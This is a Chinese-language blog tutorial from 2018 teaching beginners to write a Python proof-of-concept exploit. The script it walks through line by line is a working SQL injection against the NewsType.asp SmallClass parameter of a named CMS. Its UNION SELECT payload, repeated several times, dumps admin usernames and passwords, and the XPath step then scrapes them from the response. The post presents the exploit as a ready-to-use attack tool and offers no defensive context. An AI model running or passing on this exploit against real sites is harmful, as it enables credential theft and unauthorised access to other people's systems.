print都不会开发自己的第一款poc(python课程 注:需要渗透基础)

作者:怪猫仙人 分类: 编程 发布于:2018-3-3 20:44 ė646次浏览 60条评论

很多人再学习课程的时候喜欢盲目的学习网络的课程,结果学了半天才发现自己什么都不会开发,就比如很多喜欢热爱黑客技术的人发现自己学了几十章python还是不会编写自己的渗透工具

那么我的这期课程将会给大家讲解python如何开发自己的安全测试工具,

其实开发poc并不需要太多的python开发技巧,因为开发poc无疑是涉及web,内网,系统

所以开发poc并不需要太高的技巧,好了我们不多说废话,那么开始课程,今天我的课程会让你们完全不会任何python的人学会开发自己的poc




import requests
from lxml import etree
a = raw_input('url: ')
url = a +"/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='"
data = requests.get(url).text
s=etree.HTML(data)
c=s.xpath('/html/body/table/tr[1]/td[2]/span/a/@title')
print (c)

这是我们这节课需要的代码,他是南方良精cms的漏洞,我将给大家一个一个讲解这个是如何编写的





课程之前我们先看看漏洞是什么,这个漏洞是针对南方的漏洞,是一个注入漏洞

我们在网站首页后面加上NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='

看到这里其实大家已经清楚很多,记住在一款工具开发之前我们要想他是如何编写的

这个漏洞就是newstyos.asp文件的smallclass出现了注入那么这个漏洞的利用的就是打开

NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='页面,然后读取第一行我箭头所指的数据,我们需要读取,那么我们现在分析一下流程

第一步打开网站,

第二步访问网站的NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='

第三步读取箭头所指的第一行数据

第四步将信息返回给我们



课程开始

----------------------------------

第一步我们需要打开开发工具

打开开始菜单------再搜索里面输入idle------打开我们的开发工具

idle只是一个调试工具具体开发大家百度搜索python开发工具,这里面我自己用的是notepad(注:我本人强烈推荐大家用kail linux进行开发,因为他自带了很多库,)

第二步,认识库

库其实就大致分为俩种,标准库和第三方库,

标准库是python自带的,而第三方库是需要安装的

python他自带了pip可以利用cmd就可以下载第三方库

下载方法是找到python的目录,在目录下按shift和鼠标右键,打开这个文件下的命令行

输入pip install 第三方库的名字

下载即可

这节课我们需要requests这个第三方库

你输入pip install requests

下载完毕之后我们看我们的代码先看第一句

import requests

他是导入requests库,他这种导入形式是全部导入,我们只有导入才能使用

from lxml import etree

这个的意思是导入lxml这个库里面的etree这个功能,因为这节课我们只需要lxml的etree,不需要其他的所以我们不用全部导入

来看第三个

a = raw_input('url: ')

他的意思是输入数据并且把数据赋值给a

当然我们可以修改url这三个字比如我们想写一个mubiao(这个东西大家随便写,开心就好,包括那个变量a,新手有个最大的误区就是认为教程里面的人写的变量是死的是不能改变的)

都是完全可以运行的,输入这个之后我们就可以再后面输入信息了

url = a +"/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='"

来看这个

/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''="

这个代码是再newstype.asp文件下面进行注入,这是南方的一个漏洞,可以直接爆出账号密码

而这个 a 我相信大家非常熟悉,就是我们的输入的信息,所以我们需要输入网址,而那个+的意思就是拼接,

假如我们输入的百度的网址那么出现的信息就是

www.baidu.com/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''="

这恰好就是我们要攻击的目标

将下面的代码之前我先讲一下requests库

requests库可以直接爬取网页源代码

我们只要输入requests.get(url).text就可以分析网页的源代码记住这个get是get方式请求

注意看输出结果,是不是我们想要的

那么继续我们的教程

---------------------

data = requests.get(url).text

这个意思就是requests里面的get功能进行访问我们的url并且把他源码打印出来,然后我们把打印出来的东西赋值给data

s=etree.HTML(data)

这个意思就是用html的方式来分析页面,

这里面咱们介绍一下etree他是一个网页数据分析的,我们这节课主要是配合xpath路径进行网页数据读取

c=s.xpath('/html/body/table/tr[1]/td[2]/span/a/@title')

这段代码的意思是用爬取我们要爬的数据的xpath路径,




现在教xpath路径,请大家竖起眼睛好好看

这里面我为了方便使用360安全浏览器而不是火狐

打开页面我们看见我们这次要去的数据就是我箭头所指的数据

我们按一下f12

我们按一下那个鼠标

然后将鼠标移动到我们要爬取的数据前面

我们看到这行代码了把,我们就看到了我们要爬取的数据

我们右键这行代码找到copy,然后copyxpath

/html/body/table/tbody/tr[1]/td[2]/span/a

我们得到这行路径,但是这样往往不够,为什么呢,因为直接复制的并不是真正的xpath路径,

一,我们需要删除tbody这个标签,大家想为什么呢,因为这个tbody是浏览器自作多情给你加的,反正记住以后只要在xpath里面见到就立马删除

二,如果这样完了那就是爬取的整个数据,而我们只需要这一行中的这个数据

现在大家看一下前面他有个属性是title

那么我们只要加上title就行了

/html/body/table/tr[1]/td[2]/span/a/@title

OK

现在最后一步,打印出来结果

课程到这



本文出自 MA2安全网,转载时请注明出处及相应链接。

发表评论

电子邮件地址不会被公开。必填项已用*标注


Ɣ回顶部